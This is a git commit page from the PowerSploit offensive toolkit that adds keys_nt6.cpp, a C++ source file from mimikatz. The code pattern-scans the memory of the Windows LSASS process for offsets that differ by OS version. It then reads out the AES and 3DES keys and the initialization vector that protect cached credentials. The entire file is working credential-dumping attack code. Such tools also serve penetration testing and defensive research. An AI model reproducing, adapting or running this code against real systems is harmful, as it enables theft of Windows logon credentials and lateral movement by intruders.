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author | Matt Graeber <mattgraeber@gmail.com> | 2013-10-01 14:29:34 -0700 |
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committer | Matt Graeber <mattgraeber@gmail.com> | 2013-10-01 14:29:34 -0700 |
commit | 6ad050fe7a54ae7c47fda4505043df8efd82bc2e (patch) | |
tree | 9c99d9aa042a4752991cfe8f0069c9a4823c8d42 /Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp | |
parent | 23850a6337bf79d02f68912e49df12f3cde4a8dd (diff) | |
parent | 59cd18360764af6e6133ad11ec9cd8295372e587 (diff) | |
download | PowerSploit-6ad050fe7a54ae7c47fda4505043df8efd82bc2e.tar.gz PowerSploit-6ad050fe7a54ae7c47fda4505043df8efd82bc2e.zip |
Merge pull request #15 from clymb3r/master
Adding GitIgnore, adding Invoke-NinjaCopy and Invoke-Mimikatz
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp')
-rw-r--r-- | Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp | 186 |
1 files changed, 186 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp new file mode 100644 index 0000000..ac642ef --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp @@ -0,0 +1,186 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "keys_nt6.h" +#include "..\..\global.h" +HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL; +PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL; +mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL; +BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL; + +BYTE kiwiRandom3DES[24], kiwiRandomAES[16]; + +#ifdef _M_X64 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D}; +LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3; +LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3; +LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3; + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D}; +LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3; +LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3; +#elif defined _M_IX86 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long)); +LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long)); +LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long)); +LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); +#endif + +bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData() +{ + if(!hBCrypt) + hBCrypt = LoadLibrary(L"bcrypt"); + + PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey; +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector; + } + else + { + OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector; + } +#elif defined _M_IX86 + OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector; +#endif + } + else + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey; + OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector; + } + + PBYTE ptrBase = NULL; + DWORD mesSucces = 0; + if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY)) + { +#ifdef _M_X64 + LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4; + PBYTE InitializationVector = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_InitializationVector)); + hAesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey)); + h3DesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey)); + hAesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); + h3DesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); +#elif defined _M_IX86 + PBYTE InitializationVector = *reinterpret_cast<PBYTE * >(ptrBase + OFFS_WNT6_InitializationVector); + hAesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_hAesKey); + h3DesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_h3DesKey); + hAesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2); + h3DesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2); +#endif + if(hBCrypt && LsaInitializeProtectedMemory()) + { + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + + KIWI_BCRYPT_KEY maCle; + KIWI_BCRYPT_KEY_DATA maCleData; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes à la fin, la structure de départ n'était pas inutile ;) + mesSucces++; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl; + } + else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl; + + return (mesSucces == 3); +} + + +bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData() +{ + if(hBCrypt) + { + LsaCleanupProtectedMemory(); + FreeLibrary(hBCrypt); + } + return true; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory() +{ + bool resultat = false; + + PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast<PBCRYPT_OPEN_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider")); + PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast<PBCRYPT_SET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptSetProperty")); + PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast<PBCRYPT_GET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptGetProperty")); + PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast<PBCRYPT_GENERATE_SYMMETRIC_KEY>(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey")); + + if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) && + NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0))) + { + if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) && + NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0))) + { + DWORD DES3KeyLen, AESKeyLen, cbLen; + + if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) && + NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0))) + { + DES3Key = new BYTE[DES3KeyLen]; + AESKey = new BYTE[AESKeyLen]; + + resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) && + NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0)); + } + } + } + return resultat; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory() +{ + PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast<PBCRYTP_DESTROY_KEY>(GetProcAddress(hBCrypt, "BCryptDestroyKey")); + PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast<PBCRYTP_CLOSE_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider")); + + if (h3DesKey ) + K_BCryptDestroyKey(*h3DesKey); + if (hAesKey ) + K_BCryptDestroyKey(*hAesKey); + + if (h3DesProvider) + K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0); + if (hAesProvider ) + K_BCryptCloseAlgorithmProvider(*hAesProvider, 0); + + if(DES3Key) + delete[] DES3Key; + if(AESKey) + delete[] AESKey; + + return true; +}
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